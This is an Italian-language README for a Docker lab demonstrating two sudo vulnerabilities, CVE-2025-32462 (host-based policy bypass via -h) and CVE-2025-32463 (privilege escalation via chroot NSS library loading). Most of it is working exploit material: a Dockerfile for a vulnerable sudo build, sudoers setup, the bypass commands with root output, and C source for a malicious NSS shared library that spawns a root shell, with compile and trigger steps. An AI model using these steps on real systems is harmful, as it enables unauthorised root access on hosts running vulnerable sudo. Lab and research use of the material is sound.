Laboratorio basato su container con exploit proof-of-concept per due vulnerabilità critiche di sudo: bypass della validazione dell'host (CVE-2025-32462) e iniezione della libreria NSS tramite chroot (CVE-2025-32463) per l'escalation dei privilegi.
Questo repository fornisce un laboratorio basato su container e un PoC dettagliato per due vulnerabilità critiche di sudo:
-h-RRicerca originale di Rich Mirch – Stratascale CRU
Ambiente PoC e laboratorio di MAAYTHM
Sudo applica l'autorizzazione basata su host tramite Host_Alias in /etc/sudoers.
La vulnerabilità si verifica quando viene fornita l'opzione -h: sudo valuta il nome host fornito anziché il nome host canonico del sistema, consentendo agli utenti limitati di bypassare le policy sudo basate su host.
Impatto:
L'opzione -R di sudo consente l'esecuzione in un ambiente chroot. Durante l'inizializzazione, le librerie NSS (Name Service Switch) vengono caricate in base a /etc/nsswitch.conf. Fornendo un ambiente chroot malevolo e una libreria NSS personalizzata, un attaccante può eseguire codice come root.
Superficie d'Attacco:
nsswitch.conf definito dall'attaccanteImpatto:
pwn (non-root)CVE-2025-32462-CVE-2025-32463-PoC-Lab
├── Dockerfile
│ # Builds vulnerable sudo environment
│
├── exploit/
│ ├── cve_2025_32463.c
│ │ # Malicious NSS shared library used for privilege escalation
│ └── build.sh
│ # Compiles the exploit payload into a shared NSS module
│
├── lab/
│ └── setup.sh
│ # Automates vulnerable lab configuration and sudoers setup
│
└── README.md
# Technical documentation, vulnerability analysis, and PoC usage guide
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git nano gcc && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && \
make && make install
RUN useradd -m -s /bin/bash pwn && \
echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
Costruzione ed Esecuzione del Laboratorio
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d \
--network sudolabnet \
--ip 172.190.0.3 \
--hostname lowpriv.test.local \
--add-host highpriv.test.local:172.190.0.2 \
--name lowpriv \
sudo-vuln-lab tail -f /dev/null
docker exec -u root -it lowpriv bash
echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
Comportamento normale:
sudo id
# Password required
Sfruttamento:
sudo -h highpriv.test.local id
# uid=0(root) gid=0(root) groups=0(root)
sudo -h highpriv.test.local hostname -f
# lowpriv.test.local
mkdir -p exploitDir/etc
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
mkdir libnss_
cp /etc/group exploitDir/etc/
Libreria NSS malevola:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void GIVEMEROOT(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
Compilazione:
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
Attivazione:
sudo -R exploitDir <command>
# Root shell obtained
id
# uid=0(root) gid=0(root)